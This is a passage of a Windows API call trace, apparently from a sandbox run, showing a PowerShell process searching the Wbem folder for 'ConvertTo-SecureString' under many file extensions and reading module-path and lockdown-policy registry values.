lpFilePart=0x0) returned 0x33 [0121.755] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.ps1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.ps1", lpFilePart=0x0) returned 0x38 [0121.755] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.ps1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae434) returned 1 [0121.756] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a4) returned 1 [0121.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3a0) returned 1 [0121.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae41c) returned 1 [0121.757] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.757] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.psm1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.psm1", lpFilePart=0x0) returned 0x34 [0121.757] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.psm1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.psm1", lpFilePart=0x0) returned 0x39 [0121.757] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.psm1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae428) returned 1 [0121.758] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.758] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.758] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.758] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.psd1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.psd1", lpFilePart=0x0) returned 0x34 [0121.758] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.psd1", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.psd1", lpFilePart=0x0) returned 0x39 [0121.758] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.psd1", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.760] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.760] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.760] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.760] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.COM", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.COM", lpFilePart=0x0) returned 0x33 [0121.760] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.COM", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.COM", lpFilePart=0x0) returned 0x38 [0121.760] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.COM", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.761] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.761] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.762] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.762] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.EXE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.EXE", lpFilePart=0x0) returned 0x33 [0121.762] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.EXE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.EXE", lpFilePart=0x0) returned 0x38 [0121.762] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.EXE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.763] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.763] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.763] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.763] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.BAT", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.BAT", lpFilePart=0x0) returned 0x33 [0121.763] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.BAT", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.BAT", lpFilePart=0x0) returned 0x38 [0121.763] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.BAT", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.765] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.765] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.765] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.765] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.CMD", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.CMD", lpFilePart=0x0) returned 0x33 [0121.765] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.CMD", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.CMD", lpFilePart=0x0) returned 0x38 [0121.765] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.CMD", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.767] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.VBS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.VBS", lpFilePart=0x0) returned 0x33 [0121.767] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.VBS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.VBS", lpFilePart=0x0) returned 0x38 [0121.767] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.VBS", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.769] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.769] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.769] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.769] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.VBE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.VBE", lpFilePart=0x0) returned 0x33 [0121.769] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.VBE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.VBE", lpFilePart=0x0) returned 0x38 [0121.769] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.VBE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.772] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.772] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.772] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.772] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.JS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.JS", lpFilePart=0x0) returned 0x32 [0121.772] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.JS", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.JS", lpFilePart=0x0) returned 0x37 [0121.772] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.JS", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.774] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.774] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.774] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.774] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.JSE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.JSE", lpFilePart=0x0) returned 0x33 [0121.774] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.JSE", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.JSE", lpFilePart=0x0) returned 0x38 [0121.774] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.JSE", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.776] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.776] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.776] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.776] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.WSF", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.WSF", lpFilePart=0x0) returned 0x33 [0121.776] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.WSF", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.WSF", lpFilePart=0x0) returned 0x38 [0121.776] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.WSF", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.777] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.778] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.WSH", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.WSH", lpFilePart=0x0) returned 0x33 [0121.778] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.WSH", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.WSH", lpFilePart=0x0) returned 0x38 [0121.778] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.WSH", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.779] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.779] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.779] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.779] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.MSC", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.MSC", lpFilePart=0x0) returned 0x33 [0121.779] GetFullPathNameW (in: lpFileName="ConvertTo-SecureString.MSC", nBufferLength=0x105, lpBuffer=0x99adef8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\ConvertTo-SecureString.MSC", lpFilePart=0x0) returned 0x38 [0121.779] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\ConvertTo-SecureString.MSC", lpFindFileData=0x99ae144 | out: lpFindFileData=0x99ae144) returned 0xffffffff [0121.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99adf48, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0121.780] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae420 | out: lpFileInformation=0x99ae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0121.785] CoTaskMemAlloc (cb=0x20e) returned 0x8e54fb0 [0121.785] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x8e54fb0, nSize=0x105 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x9e [0121.785] CoTaskMemFree (pv=0x8e54fb0) [0121.785] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae3a4 | out: phkResult=0x99ae3a4*=0x860) returned 0x0 [0121.785] RegQueryValueExW (in: hKey=0x860, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae3c4, lpData=0x0, lpcbData=0x99ae3c0*=0x0 | out: lpType=0x99ae3c4*=0x1, lpData=0x0, lpcbData=0x99ae3c0*=0x56) returned 0x0 [0121.785] RegQueryValueExW (in: hKey=0x860, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x99ae3c4, lpData=0x6849d04, lpcbData=0x99ae3c0*=0x56 | out: lpType=0x99ae3c4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x99ae3c0*=0x56) returned 0x0 [0121.785] RegCloseKey (hKey=0x860) returned 0x0 [0121.805] CoTaskMemAlloc (cb=0x20c) returned 0x8e53c48 [0121.805] GetSystemDirectoryW (in: lpBuffer=0x8e53c48, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.805] CoTaskMemFree (pv=0x8e53c48) [0121.805] WldpGetLockdownPolicy () returned 0x0 [0121.805] GetSystemInfo (in: lpSystemInfo=0x99ae1d8 | out: lpSystemInfo=0x99ae1d8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0121.806] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae164 | out: phkResult=0x99ae164*=0x860) returned 0x0 [0121.806] RegQueryValueExW (in: hKey=0x860, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99ae180, lpData=0x0, lpcbData=0x99ae17c*=0x0 | out: 